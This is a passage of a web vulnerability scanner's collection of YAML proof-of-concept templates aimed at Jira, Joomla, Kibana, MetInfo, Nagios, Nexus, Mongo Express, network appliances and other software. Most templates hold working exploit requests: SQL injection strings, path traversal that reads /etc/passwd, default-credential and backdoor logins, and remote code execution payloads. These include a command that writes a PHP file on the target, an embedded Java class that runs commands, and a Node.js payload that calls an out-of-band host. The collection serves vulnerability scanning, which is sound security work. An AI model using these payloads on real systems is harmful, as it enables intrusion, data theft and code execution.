/rest/api/latest/groupuserpicker?query=testuser12345&maxResults=50&showAvatar=false expression: | response.status == 200 && response.content_type.icontains("json") && response.headers["X-AREQUESTID"] != "" && response.body.bcontains(b"total") && response.body.bcontains(b"groups") && response.body.bcontains(b"header") && response.body.bcontains(b"users") detail: author: MaxSecurity(https://github.com/MaxSecurity) links: - https://xz.aliyun.com/t/7219 ================================================ FILE: WebScan/pocs/jira-cve-2020-14179.yml ================================================ name: poc-yaml-jira-cve-2020-14179 rules: - method: GET path: /secure/QueryComponent!Default.jspa follow_redirects: false expression: | response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"com.atlassian.jira") detail: author: harris2015(https://github.com/harris2015) links: - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14179 ================================================ FILE: WebScan/pocs/jira-cve-2020-14181.yml ================================================ name: poc-yaml-jira-cve-2020-14181 set: r: randomLowercase(8) rules: - method: GET path: /secure/ViewUserHover.jspa?username={{r}} follow_redirects: false expression: | response.status == 200 && response.body.bcontains(bytes("/secure/ViewProfile.jspa?name=" + r)) && response.body.bcontains(bytes("com.atlassian.jira")) detail: author: whwlsfb(https://github.com/whwlsfb) links: - https://www.tenable.com/cve/CVE-2020-14181 - https://twitter.com/ptswarm/status/1318914772918767619 ================================================ FILE: WebScan/pocs/jira-ssrf-cve-2019-8451.yml ================================================ name: poc-yaml-jira-ssrf-cve-2019-8451 set: reverse: newReverse() originScheme: request.url.scheme originHost: request.url.host reverseURL: reverse.domain rules: - method: GET path: >- /plugins/servlet/gadgets/makeRequest?url={{originScheme}}://{{originHost}}@{{reverseURL}} headers: X-Atlassian-Token: no-check expression: | reverse.wait(5) detail: author: jingling(https://github.com/shmilylty) links: - https://jira.atlassian.com/browse/JRASERVER-69793 ================================================ FILE: WebScan/pocs/joomla-cnvd-2019-34135-rce.yml ================================================ name: poc-yaml-joomla-cnvd-2019-34135-rce set: r1: randomLowercase(10) r2: randomLowercase(10) rules: - method: GET path: / headers: Content-Type: application/x-www-form-urlencoded follow_redirects: true expression: | response.status == 200 search: \S{32})" - method: POST path: / headers: Content-Type: application/x-www-form-urlencoded body: >- username=%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0&{{token}}=1&password=AAA%22%3Bs%3A11%3A%22maonnalezzo%22%3AO%3A21%3A%22JDatabaseDriverMysqli%22%3A3%3A%7Bs%3A4%3A%22%5C0%5C0%5C0a%22%3BO%3A17%3A%22JSimplepieFactory%22%3A0%3A%7B%7Ds%3A21%3A%22%5C0%5C0%5C0disconnectHandlers%22%3Ba%3A1%3A%7Bi%3A0%3Ba%3A2%3A%7Bi%3A0%3BO%3A9%3A%22SimplePie%22%3A5%3A%7Bs%3A8%3A%22sanitize%22%3BO%3A20%3A%22JDatabaseDriverMysql%22%3A0%3A%7B%7Ds%3A5%3A%22cache%22%3Bb%3A1%3Bs%3A19%3A%22cache_name_function%22%3Bs%3A6%3A%22printf%22%3Bs%3A10%3A%22javascript%22%3Bi%3A9999%3Bs%3A8%3A%22feed_url%22%3Bs%3A43%3A%22http%3A%2F%2FRayTest.6666%2F%3B{{r1}}%25%25{{r2}}%22%3B%7Di%3A1%3Bs%3A4%3A%22init%22%3B%7D%7Ds%3A13%3A%22%5C0%5C0%5C0connection%22%3Bi%3A1%3B%7Ds%3A6%3A%22return%22%3Bs%3A102%3A&option=com_users&task=user.login follow_redirects: true expression: | response.body.bcontains(bytes(r1 + "%" + r2)) detail: author: X.Yang Joomla_version: 3.0.0,3.4.6 links: - https://www.exploit-db.com/exploits/47465 ================================================ FILE: WebScan/pocs/joomla-component-vreview-sql.yml ================================================ name: poc-yaml-joomla-component-vreview-sql set: r1: randomInt(800000000, 1000000000) rules: - method: POST path: /index.php?option=com_vreview&task=displayReply headers: Content-Type: application/x-www-form-urlencoded body: >- profileid=-8511 OR 1 GROUP BY CONCAT(0x7e,md5({{r1}}),0x7e,FLOOR(RAND(0)*2)) HAVING MIN(0)# follow_redirects: true expression: | response.body.bcontains(bytes(substr(md5(string(r1)), 0, 31))) detail: author: 南方有梦(https://github.com/hackgov) Affected Version: "1.9.11" links: - https://www.exploit-db.com/exploits/46227 ================================================ FILE: WebScan/pocs/joomla-cve-2015-7297-sqli.yml ================================================ name: poc-yaml-joomla-cve-2015-7297-sqli rules: - method: GET path: /index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=1&type_id=1&list[select]=updatexml(0x23,concat(1,md5(8888)),1) expression: response.body.bcontains(b"cf79ae6addba60ad018347359bd144d2") detail: links: - https://www.exploit-db.com/exploits/38797 - http://developer.joomla.org/security-centre/628-20151001-core-sql-injection.html - https://www.trustwave.com/Resources/SpiderLabs-Blog/Joomla-SQL-Injection-Vulnerability-Exploit-Results-in-Full-Administrative-Access/ ================================================ FILE: WebScan/pocs/joomla-cve-2017-8917-sqli.yml ================================================ name: poc-yaml-joomla-cve-2017-8917-sqli rules: - method: GET path: "/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,md5(8888)),1)" expression: response.body.bcontains(b"cf79ae6addba60ad018347359bd144d2") detail: links: - https://github.com/vulhub/vulhub/tree/master/joomla/CVE-2017-8917 ================================================ FILE: WebScan/pocs/joomla-cve-2018-7314-sql.yml ================================================ name: poc-yaml-joomla-cve-2018-7314-sql set: r1: randomInt(800000000, 1000000000) rules: - method: GET path: /index.php?option=com_prayercenter&task=confirm&id=1&sessionid=1' AND EXTRACTVALUE(22,CONCAT(0x7e,md5({{r1}})))-- X expression: | response.body.bcontains(bytes(substr(md5(string(r1)), 0, 31))) detail: author: 南方有梦(http://github.com/hackgov) Affected Version: "3.0.2" links: - https://www.exploit-db.com/exploits/44160 ================================================ FILE: WebScan/pocs/joomla-ext-zhbaidumap-cve-2018-6605-sqli.yml ================================================ name: poc-yaml-joomla-ext-zhbaidumap-cve-2018-6605-sqli set: rand: randomInt(2000000000, 2100000000) rules: - method: POST path: >- /index.php?option=com_zhbaidumap&no_html=1&format=raw&task=getPlacemarkDetails headers: Content-Type: application/x-www-form-urlencoded body: >- id=-1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,md5({{rand}}),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--+ follow_redirects: false expression: > response.status == 200 && response.body.bcontains(bytes(md5(string(rand)))) && response.body.bcontains(b"dataexists") detail: author: leezp Affected Version: "zhBaidumap plugin 3.0.0.*" links: - https://www.exploit-db.com/exploits/43974 - https://mp.weixin.qq.com/s?__biz=MzAxODg1MDMwOQ==&mid=2247489109&idx=1&sn=0c9a3388e4ac1389897b4449fb3afNULL0&chksm=9bcea13facb928293ac06fede04f15d564b60a5e8ad26208f28ebe175017aa3d2144617f2b60&mpshare=1&scene=23&srcid=0418r0yqNrZ1hyGCdDHl8EK1#rd ================================================ FILE: WebScan/pocs/jumpserver-unauth-rce.yml ================================================ name: poc-yaml-jumpserver-unauth-rce set: r1: randomLowercase(5) groups: users: - method: GET path: /api/v1/users/connection-token/ follow_redirects: false expression: | response.status == 401 && response.content_type.contains("application/json") && response.body.bcontains(b"not_authenticated") - method: GET path: /api/v1/users/connection-token/?user-only={{r1}} follow_redirects: false expression: | response.status == 404 && response.content_type.contains("application/json") && response.body.bcontains(b"\"\"") authentication: - method: GET path: /api/v1/authentication/connection-token/ follow_redirects: false expression: | response.status == 401 && response.content_type.contains("application/json") && response.body.bcontains(b"not_authenticated") - method: GET path: /api/v1/authentication/connection-token/?user-only={{r1}} follow_redirects: false expression: | response.status == 404 && response.content_type.contains("application/json") && response.body.bcontains(b"\"\"") detail: author: mvhz81 info: jumpserver unauth read logfile + jumpserver rce links: - https://s.tencent.com/research/bsafe/1228.html - https://mp.weixin.qq.com/s/KGRU47o7JtbgOC9xwLJARw - https://github.com/jumpserver/jumpserver/releases/download/v2.6.2/jms_bug_check.sh ================================================ FILE: WebScan/pocs/jupyter-notebook-unauthorized-access.yml ================================================ name: poc-yaml-jupyter-notebook-unauthorized-access rules: - method: GET path: "/terminals/3" follow_redirects: false expression: > response.status == 200 && response.body.bcontains(b"terminals/websocket") && !response.body.bcontains(b"Password:") detail: author: bufsnake(https://github.com/bufsnake) links: - https://vulhub.org/#/environments/jupyter/notebook-rce/ ================================================ FILE: WebScan/pocs/kafka-manager-unauth.yml ================================================ name: poc-yaml-kafka-manager-unauth rules: - method: GET path: / follow_redirects: false expression: | response.status == 200 && response.body.bcontains(b"Kafka Manager") && response.body.bcontains(b"Kafka Manager") && response.body.bcontains(b"Add Cluster") detail: author: Aquilao(https://github.com/Aquilao) links: - https://blog.csdn.net/qq_36923426/article/details/111361158 ================================================ FILE: WebScan/pocs/kibana-cve-2018-17246.yml ================================================ name: poc-yaml-kibana-cve-2018-17246 rules: - method: GET path: /api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../etc/passwd follow_redirects: false expression: | response.headers["kbn-name"] == "kibana" && response.content_type.contains("application/json") && response.body.bcontains(bytes("\"statusCode\":500")) && response.body.bcontains(bytes("\"message\":\"An internal server error occurred\"")) detail: author: canc3s(https://github.com/canc3s) kibana_version: before 6.4.3 and 5.6.13 links: - https://nvd.nist.gov/vuln/detail/CVE-2018-17246 - https://github.com/vulhub/vulhub/blob/master/kibana/CVE-2018-17246/README.md ================================================ FILE: WebScan/pocs/kibana-unauth.yml ================================================ name: poc-yaml-kibana-unauth rules: - method: GET path: /app/kibana follow_redirects: false expression: | response.status == 200 && response.body.bcontains(b".kibanaWelcomeView") detail: author: Isaac(https://github.com/IsaacQiang) links: - https://zhuanlan.zhihu.com/p/61215662 ================================================ FILE: WebScan/pocs/kingdee-eas-directory-traversal.yml ================================================ name: poc-yaml-kingdee-eas-directory-traversal groups: kingdee1: - method: GET path: /appmonitor/protected/selector/server_file/files?folder=C://&suffix= expression: response.status == 200 && response.headers["content-type"].contains("json") && response.body.bcontains(b"{\"name\":\"Windows\",\"path\":\"C:\\\\Windows\",\"folder\":true}") kingdee2: - method: GET path: /appmonitor/protected/selector/server_file/files?folder=/&suffix= expression: response.status == 200 && response.headers["content-type"].contains("json") && response.body.bcontains(b"{\"name\":\"root\",\"path\":\"/root\",\"folder\":true}") detail: author: iak3ec(https://github.com/nu0l) links: - https://github.com/nu0l/poc-wiki/blob/main/%E9%87%91%E8%9D%B6OA%20server_file%20%E7%9B%AE%E5%BD%95%E9%81%8D%E5%8E%86%E6%BC%8F%E6%B4%9E.md ================================================ FILE: WebScan/pocs/kingsoft-v8-default-password.yml ================================================ name: poc-yaml-kingsoft-v8-default-password rules: - method: POST path: /inter/ajax.php?cmd=get_user_login_cmd body: "{\"get_user_login_cmd\":{\"name\":\"admin\",\"password\":\"21232f297a57a5a743894a0e4a801fc3\"}}" follow_redirects: true expression: | response.status == 200 && response.body.bcontains(b"ADMIN") && response.body.bcontains(b"userSession") detail: author: B1anda0(https://github.com/B1anda0) links: - https://idc.wanyunshuju.com/aqld/2123.html ================================================ FILE: WebScan/pocs/kingsoft-v8-file-read.yml ================================================ name: poc-yaml-kingsoft-v8-file-read rules: - method: GET path: >- /htmltopdf/downfile.php?filename=/windows/win.ini follow_redirects: false expression: | response.status == 200 && (response.body.bcontains(b"for 16-bit app support") || response.body.bcontains(b"[extensions]")) && response.headers["Content-Type"].contains("application/zip") detail: author: kzaopa(https://github.com/kzaopa) links: - https://github.com/PeiQi0/PeiQi-WIKI-POC/blob/b6f8fbfef46ad1c3f8d5715dd19b00ca875341c2/_book/PeiQi_Wiki/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/%E9%87%91%E5%B1%B1/%E9%87%91%E5%B1%B1%20V8%20%E7%BB%88%E7%AB%AF%E5%AE%89%E5%85%A8%E7%B3%BB%E7%BB%9F%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md ================================================ FILE: WebScan/pocs/kong-cve-2020-11710-unauth.yml ================================================ name: poc-yaml-kong-cve-2020-11710-unauth rules: - method: GET path: / expression: | response.status == 200 && response.body.bcontains(b"kong_env") - method: GET path: /status expression: | response.status == 200 && response.body.bcontains(b"kong_db_cache_miss") detail: author: Loneyer links: - https://mp.weixin.qq.com/s/Ttpe63H9lQe87Uk0VOyMFw ================================================ FILE: WebScan/pocs/kubernetes-unauth.yml ================================================ name: poc-yaml-kubernetes-unauth rules: - method: GET path: /api/v1/nodes expression: | response.status == 200 && response.content_type.contains("application/json") && response.body.bcontains(b"\"kubeletVersion\": \"v") && response.body.bcontains(b"\"containerRuntimeVersion\"") detail: author: mumu0215(https://github.com/mumu0215) links: - http://luckyzmj.cn/posts/15dff4d3.html ================================================ FILE: WebScan/pocs/kyan-network-monitoring-account-password-leakage.yml ================================================ name: poc-yaml-kyan-network-monitoring-account-password-leakage rules: - method: GET path: /hosts expression: "true" search: Password=(?P.+) - method: POST path: /login.php body: user=admin&passwd={{pass}} follow_redirects: true expression: | response.status == 200 && response.body.bcontains(b"设备管理系统") && response.body.bcontains(b"context.php") && response.body.bcontains(b"left.php") detail: author: B1anda0(https://github.com/B1anda0) links: - https://mp.weixin.qq.com/s/6phWjDrGG0pCpGuCdLusIg ================================================ FILE: WebScan/pocs/landray-oa-custom-jsp-fileread.yml ================================================ name: poc-yaml-landray-oa-custom-jsp-fileread groups: linux: - method: POST path: /sys/ui/extend/varkind/custom.jsp body: var={"body":{"file":"file:///etc/passwd"}} expression: | response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) windows: - method: POST path: /sys/ui/extend/varkind/custom.jsp body: var={"body":{"file":"file:///c://windows/win.ini"}} expression: | response.status == 200 && response.body.bcontains(b"for 16-bit app support") detail: author: B1anda0(https://github.com/B1anda0) links: - https://mp.weixin.qq.com/s/TkUZXKgfEOVqoHKBr3kNdw ================================================ FILE: WebScan/pocs/lanproxy-cve-2021-3019-lfi.yml ================================================ name: poc-yaml-lanproxy-cve-2021-3019-lfi rules: - method: GET path: "/../conf/config.properties" expression: | response.status == 200 && response.body.bcontains(bytes(string(b"config.admin.username"))) && response.body.bcontains(bytes(string(b"config.admin.password"))) && response.content_type.contains("application/octet-stream") detail: author: pa55w0rd(www.pa55w0rd.online/) Affected Version: "lanproxy 0.1" links: - https://github.com/ffay/lanproxy/issues/152 - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3019 ================================================ FILE: WebScan/pocs/laravel-cve-2021-3129.yml ================================================ name: poc-yaml-laravel-cve-2021-3129 set: r: randomLowercase(12) rules: - method: POST path: /_ignition/execute-solution headers: Content-Type: application/json body: |- { "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": { "variableName": "username", "viewFile": "{{r}}" } } follow_redirects: true expression: > response.status == 500 && response.body.bcontains(bytes("file_get_contents(" + string(r) + ")")) && response.body.bcontains(bytes("failed to open stream")) detail: author: Jarcis-cy(https://github.com/Jarcis-cy) links: - https://github.com/vulhub/vulhub/blob/master/laravel/CVE-2021-3129 ================================================ FILE: WebScan/pocs/laravel-debug-info-leak.yml ================================================ name: poc-yaml-laravel-debug-info-leak rules: - method: POST path: / follow_redirects: false expression: > response.status == 405 && response.body.bcontains(b"MethodNotAllowedHttpException") && response.body.bcontains(b"Environment & details") && (response.body.bcontains(b"vendor\\laravel\\framework\\src\\Illuminate\\Routing\\RouteCollection.php") || response.body.bcontains(b"vendor/laravel/framework/src/Illuminate/Routing/RouteCollection.php")) detail: author: Dem0ns (https://github.com/dem0ns) links: - https://github.com/dem0ns/improper/tree/master/laravel/5_debug ================================================ FILE: WebScan/pocs/laravel-improper-webdir.yml ================================================ name: poc-yaml-laravel-improper-webdir rules: - method: GET path: /storage/logs/laravel.log follow_redirects: false expression: > response.status == 200 && (response.content_type.contains("plain") || response.content_type.contains("octet-stream")) && (response.body.bcontains(b"vendor\\laravel\\framework") || response.body.bcontains(b"vendor/laravel/framework")) && (response.body.bcontains(b"stacktrace") || response.body.bcontains(b"Stack trace")) detail: author: Dem0ns (https://github.com/dem0ns) links: - https://github.com/dem0ns/improper ================================================ FILE: WebScan/pocs/maccms-rce.yml ================================================ name: poc-yaml-maccms-rce set: r: randomInt(800000000, 1000000000) rules: - method: GET path: /index.php?m=vod-search&wd={if-A:printf(md5({{r}}))}{endif-A} follow_redirects: false expression: | response.body.bcontains(bytes(md5(string(r)))) detail: Affected Version: "maccms8.x" author: hanxiansheng26(https://github.com/hanxiansheng26) links: - https://www.cnblogs.com/test404/p/7397755.html ================================================ FILE: WebScan/pocs/maccmsv10-backdoor.yml ================================================ name: poc-yaml-maccmsv10-backdoor rules: - method: POST path: /extend/Qcloud/Sms/Sms.php headers: Content-Type: application/x-www-form-urlencoded body: getpwd=WorldFilledWithLove follow_redirects: false expression: > response.status == 200 && response.body.bcontains(b"扫描后门") && response.body.bcontains(b"反弹端口") && response.body.bcontains(b"文件管理") detail: author: FiveAourThe(https://github.com/FiveAourThe) links: - https://www.cnblogs.com/jinqi520/p/11596500.html - https://www.t00ls.net/thread-53291-1-1.html ================================================ FILE: WebScan/pocs/metinfo-cve-2019-16996-sqli.yml ================================================ name: poc-yaml-metinfo-cve-2019-16996-sqli set: r1: randomInt(40000, 44800) r2: randomInt(40000, 44800) rules: - method: GET path: >- /admin/?n=product&c=product_admin&a=dopara&app_type=shop&id=1%20union%20SELECT%201,2,3,{{r1}}*{{r2}},5,6,7%20limit%205,1%20%23 follow_redirects: true expression: | response.status == 200 && response.body.bcontains(bytes(string(r1 * r2))) detail: author: JingLing(https://hackfun.org/) metinfo_version: 7.0.0beta links: - https://y4er.com/post/metinfo7-sql-tips/#sql-injection-1 ================================================ FILE: WebScan/pocs/metinfo-cve-2019-16997-sqli.yml ================================================ name: poc-yaml-metinfo-cve-2019-16997-sqli set: r1: randomInt(40000, 44800) r2: randomInt(40000, 44800) rules: - method: POST path: /admin/?n=language&c=language_general&a=doExportPack headers: Content-Type: application/x-www-form-urlencoded body: 'appno= 1 union SELECT {{r1}}*{{r2}},1&editor=cn&site=web' follow_redirects: true expression: | response.status == 200 && response.body.bcontains(bytes(string(r1 * r2))) detail: author: JingLing(https://hackfun.org/) metinfo_version: 7.0.0beta links: - https://y4er.com/post/metinfo7-sql-tips/#sql-injection-2 ================================================ FILE: WebScan/pocs/metinfo-cve-2019-17418-sqli.yml ================================================ name: poc-yaml-metinfo-cve-2019-17418-sqli set: r1: randomInt(40000, 44800) r2: randomInt(40000, 44800) rules: - method: GET path: >- /admin/?n=language&c=language_general&a=doSearchParameter&editor=cn&word=search&appno=0+union+select+{{r1}}*{{r2}},1--+&site=admin follow_redirects: true expression: | response.status == 200 && response.body.bcontains(bytes(string(r1 * r2))) detail: author: JingLing(https://hackfun.org/) metinfo_version: 7.0.0beta links: - https://github.com/evi1code/Just-for-fun/issues/2 ================================================ FILE: WebScan/pocs/metinfo-file-read.yml ================================================ name: poc-yaml-metinfo-file-read rules: - method: GET path: "/include/thumb.php?dir=http/.....///.....///config/config_db.php" expression: response.status == 200 && response.body.bcontains(b"con_db_pass") && response.body.bcontains(b"con_db_host") && response.body.bcontains(b"con_db_name") detail: author: amos1 links: - https://www.cnblogs.com/-qing-/p/10889467.html ================================================ FILE: WebScan/pocs/metinfo-lfi-cnvd-2018-13393.yml ================================================ name: poc-yaml-metinfo-lfi-cnvd-2018-13393 rules: - method: GET path: /include/thumb.php?dir=http\..\admin\login\login_check.php follow_redirects: true expression: | response.body.bcontains(b"- {"id":1,"jsonrpc":"2.0","params":{"username":"minioadmin","password":"minioadmin"},"method":"Web.Login"} follow_redirects: false expression: | response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"uiVersion") && response.body.bcontains(b"token") poc2: - method: POST path: /minio/webrpc headers: Content-Type: application/json body: >- {"id":1,"jsonrpc":"2.0","params":{"username":"minioadmin","password":"minioadmin"},"method":"web.Login"} follow_redirects: false expression: | response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"uiVersion") && response.body.bcontains(b"token") detail: author: harris2015 links: - https://docs.min.io/cn/ ================================================ FILE: WebScan/pocs/mongo-express-cve-2019-10758.yml ================================================ name: poc-yaml-mongo-express-cve-2019-10758 set: reverse: newReverse() reverseURL: reverse.url rules: - method: POST path: /checkValid headers: Authorization: Basic YWRtaW46cGFzcw== body: >- document=this.constructor.constructor('return process')().mainModule.require('http').get('{{reverseURL}}') follow_redirects: true expression: > reverse.wait(5) detail: vulnpath: '/checkValid' author: fnmsd(https://github.com/fnmsd) description: 'Mongo Express CVE-2019-10758 Code Execution' links: - https://github.com/masahiro331/CVE-2019-10758 - https://www.twilio.com/blog/2017/08/http-requests-in-node-js.html ================================================ FILE: WebScan/pocs/mpsec-isg1000-file-read.yml ================================================ name: poc-yaml-mpsec-isg1000-file-read rules: - method: GET path: /webui/?g=sys_dia_data_down&file_name=../../../../../../../../../../../../etc/passwd expression: | response.status == 200 && response.content_type.contains("text/plain") && response.headers["set-cookie"].contains("USGSESSID=") && "root:[x*]?:0:0:".bmatches(response.body) detail: author: YekkoY description: "迈普 ISG1000安全网关 任意文件下载漏洞" links: - http://wiki.peiqi.tech/PeiQi_Wiki/%E7%BD%91%E7%BB%9C%E8%AE%BE%E5%A4%87%E6%BC%8F%E6%B4%9E/%E8%BF%88%E6%99%AE/%E8%BF%88%E6%99%AE%20ISG1000%E5%AE%89%E5%85%A8%E7%BD%91%E5%85%B3%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8B%E8%BD%BD%E6%BC%8F%E6%B4%9E.html?h=isg1000 ================================================ FILE: WebScan/pocs/msvod-sqli.yml ================================================ name: poc-yaml-msvod-sqli set: r1: randomInt(800000000, 1000000000) rules: - method: GET path: "/images/lists?cid=1 ) ORDER BY 1 desc,extractvalue(rand(),concat(0x7c,md5({{r1}}))) desc --+a" expression: | response.body.bcontains(bytes(substr(md5(string(r1)), 0, 31))) detail: author: jinqi links: - https://github.com/jinqi520 ================================================ FILE: WebScan/pocs/myucms-lfr.yml ================================================ name: poc-yaml-myucms-lfr rules: - method: GET path: /index.php/bbs/index/download?url=/etc/passwd&name=1.txt&local=1 expression: | response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) detail: author: jinqi links: - https://github.com/jinqi520 ================================================ FILE: WebScan/pocs/nagio-cve-2018-10735.yml ================================================ name: poc-yaml-nagio-cve-2018-10735 set: r: randomInt(2000000000, 2100000000) rules: - method: GET path: /nagiosql/admin/commandline.php?cname=%27%20union%20select%20concat(md5({{r}}))%23 follow_redirects: false expression: | response.body.bcontains(bytes(md5(string(r)))) detail: author: 0x_zmz(github.com/0x-zmz) Affected Version: "Nagios XI 5.2.x以及小于5.4.13的5.4.x" links: - https://www.seebug.org/vuldb/ssvid-97265 - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10736 ================================================ FILE: WebScan/pocs/nagio-cve-2018-10736.yml ================================================ name: poc-yaml-nagio-cve-2018-10736 set: r: randomInt(2000000000, 2100000000) rules: - method: GET path: /nagiosql/admin/info.php?key1=%27%20union%20select%20concat(md5({{r}}))%23 follow_redirects: false expression: | response.body.bcontains(bytes(md5(string(r)))) detail: author: 0x_zmz(github.com/0x-zmz) Affected Version: "Nagios XI 5.2.x以及小于5.4.13的5.4.x" links: - https://www.seebug.org/vuldb/ssvid-97266 - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10736 ================================================ FILE: WebScan/pocs/nagio-cve-2018-10737.yml ================================================ name: poc-yaml-nagio-cve-2018-10737 set: r: randomInt(2000000000, 2100000000) rules: - method: POST path: /nagiosql/admin/logbook.php headers: Content-Type: application/x-www-form-urlencoded body: txtSearch=' and (select 1 from(select count(*),concat((select (select (select md5({{r}}))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)# follow_redirects: false expression: | response.body.bcontains(bytes(md5(string(r)))) detail: author: 0x_zmz(github.com/0x-zmz) Affected Version: "Nagios XI 5.2.x以及小于5.4.13的5.4.x" links: - https://www.seebug.org/vuldb/ssvid-97267 - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10737 ================================================ FILE: WebScan/pocs/nagio-cve-2018-10738.yml ================================================ name: poc-yaml-nagio-cve-2018-10738 set: r: randomInt(2000000000, 2100000000) rules: - method: POST path: /nagiosql/admin/menuaccess.php headers: Content-Type: application/x-www-form-urlencoded body: selSubMenu=1&subSave=1&chbKey1=-1%' and (select 1 from(select count(*),concat((select (select (select md5({{r}}))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)# follow_redirects: false expression: | response.body.bcontains(bytes(md5(string(r)))) detail: author: 0x_zmz(github.com/0x-zmz) Affected Version: "Nagios XI 5.2.x以及小于5.4.13的5.4.x" links: - https://www.seebug.org/vuldb/ssvid-97268 - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10738 ================================================ FILE: WebScan/pocs/natshell-arbitrary-file-read.yml ================================================ name: poc-yaml-natshell-arbitrary-file-read rules: - method: GET path: /download.php?file=../../../../../etc/passwd follow_redirects: false expression: | response.status == 200 && "(root|toor):[x*]:0:0:".bmatches(response.body) detail: author: Print1n(http://print1n.top) links: - https://mp.weixin.qq.com/s/g4YNI6UBqIQcKL0TRkKWlw ================================================ FILE: WebScan/pocs/netentsec-icg-default-password.yml ================================================ name: poc-yaml-netentsec-icg-default-password rules: - method: POST path: /user/login/checkPermit body: usrname=ns25000&pass=ns25000 expression: | response.status == 200 && response.body.bcontains(b"\"agreed\":true") detail: author: B1anda0(https://github.com/B1anda0) links: - https://www.cnvd.org.cn/flaw/show/CNVD-2016-08603 ================================================ FILE: WebScan/pocs/netentsec-ngfw-rce.yml ================================================ name: poc-yaml-netentsec-ngfw-rce set: r2: randomLowercase(10) rules: - method: POST path: /directdata/direct/router body: | {"action":"SSLVPN_Resource","method":"deleteImage","data":[{"data":["/var/www/html/d.txt;echo '' >/var/www/html/{{r2}}.php"]}],"type":"rpc","tid":17} expression: | response.status == 200 && response.body.bcontains(b"SSLVPN_Resource") && response.body.bcontains(b"\"result\":{\"success\":true}") - method: GET path: /{{r2}}.php expression: | response.status == 200 && response.body.bcontains(bytes(md5(r2))) detail: author: YekkoY description: "网康下一代防火墙_任意命令执行漏洞" links: - https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g ================================================ FILE: WebScan/pocs/netgear-cve-2017-5521.yml ================================================ name: poc-yaml-netgear-cve-2017-5521 rules: - method: POST path: /passwordrecovered.cgi?id=get_rekt follow_redirects: false expression: | response.status == 200 && "right\">Router\\s*Admin\\s*Username<".bmatches(response.body) && "right\">Router\\s*Admin\\s*Password<".bmatches(response.body) && response.body.bcontains(b"left") detail: author: betta(https://github.com/betta-cyber) links: - https://www.cnblogs.com/xiaoxiaoleo/p/6360260.html ================================================ FILE: WebScan/pocs/nextjs-cve-2017-16877.yml ================================================ name: poc-yaml-nextjs-cve-2017-16877 rules: - method: GET path: /_next/../../../../../../../../../../etc/passwd follow_redirects: false expression: > response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) detail: version: <2.4.1 author: Loneyer links: - https://github.com/Loneyers/vuldocker/tree/master/next.js - https://medium.com/@theRaz0r/arbitrary-file-reading-in-next-js-2-4-1-34104c4e75e9 ================================================ FILE: WebScan/pocs/nexus-cve-2019-7238.yml ================================================ name: poc-yaml-nexus-cve-2019-7238 set: r1: randomInt(800000000, 1000000000) r2: randomInt(800000000, 1000000000) rules: - method: POST path: "/service/extdirect" headers: Content-Type: application/json body: | {"action": "coreui_Component", "type": "rpc", "tid": 8, "data": [{"sort": [{"direction": "ASC", "property": "name"}], "start": 0, "filter": [{"property": "repositoryName", "value": "*"}, {"property": "expression", "value": "function(x, y, z, c, integer, defineClass){ c=1.class.forName('java.lang.Character'); integer=1.class; x='cafebabe0000003100ae0a001f00560a005700580a005700590a005a005b0a005a005c0a005d005e0a005d005f0700600a000800610a006200630700640800650a001d00660800410a001d00670a006800690a0068006a08006b08004508006c08006d0a006e006f0a006e00700a001f00710a001d00720800730a000800740800750700760a001d00770700780a0079007a08007b08007c07007d0a0023007e0a0023007f0700800100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c65010004746869730100114c4578706c6f69742f546573743233343b01000474657374010015284c6a6176612f6c616e672f537472696e673b29560100036f626a0100124c6a6176612f6c616e672f4f626a6563743b0100016901000149010003636d640100124c6a6176612f6c616e672f537472696e673b01000770726f636573730100134c6a6176612f6c616e672f50726f636573733b01000269730100154c6a6176612f696f2f496e70757453747265616d3b010006726573756c740100025b42010009726573756c745374720100067468726561640100124c6a6176612f6c616e672f5468726561643b0100056669656c640100194c6a6176612f6c616e672f7265666c6563742f4669656c643b01000c7468726561644c6f63616c7301000e7468726561644c6f63616c4d61700100114c6a6176612f6c616e672f436c6173733b01000a7461626c654669656c640100057461626c65010005656e74727901000a76616c75654669656c6401000e68747470436f6e6e656374696f6e01000e48747470436f6e6e656374696f6e0100076368616e6e656c01000b487474704368616e6e656c010008726573706f6e7365010008526573706f6e73650100067772697465720100154c6a6176612f696f2f5072696e745772697465723b0100164c6f63616c5661726961626c655479706554616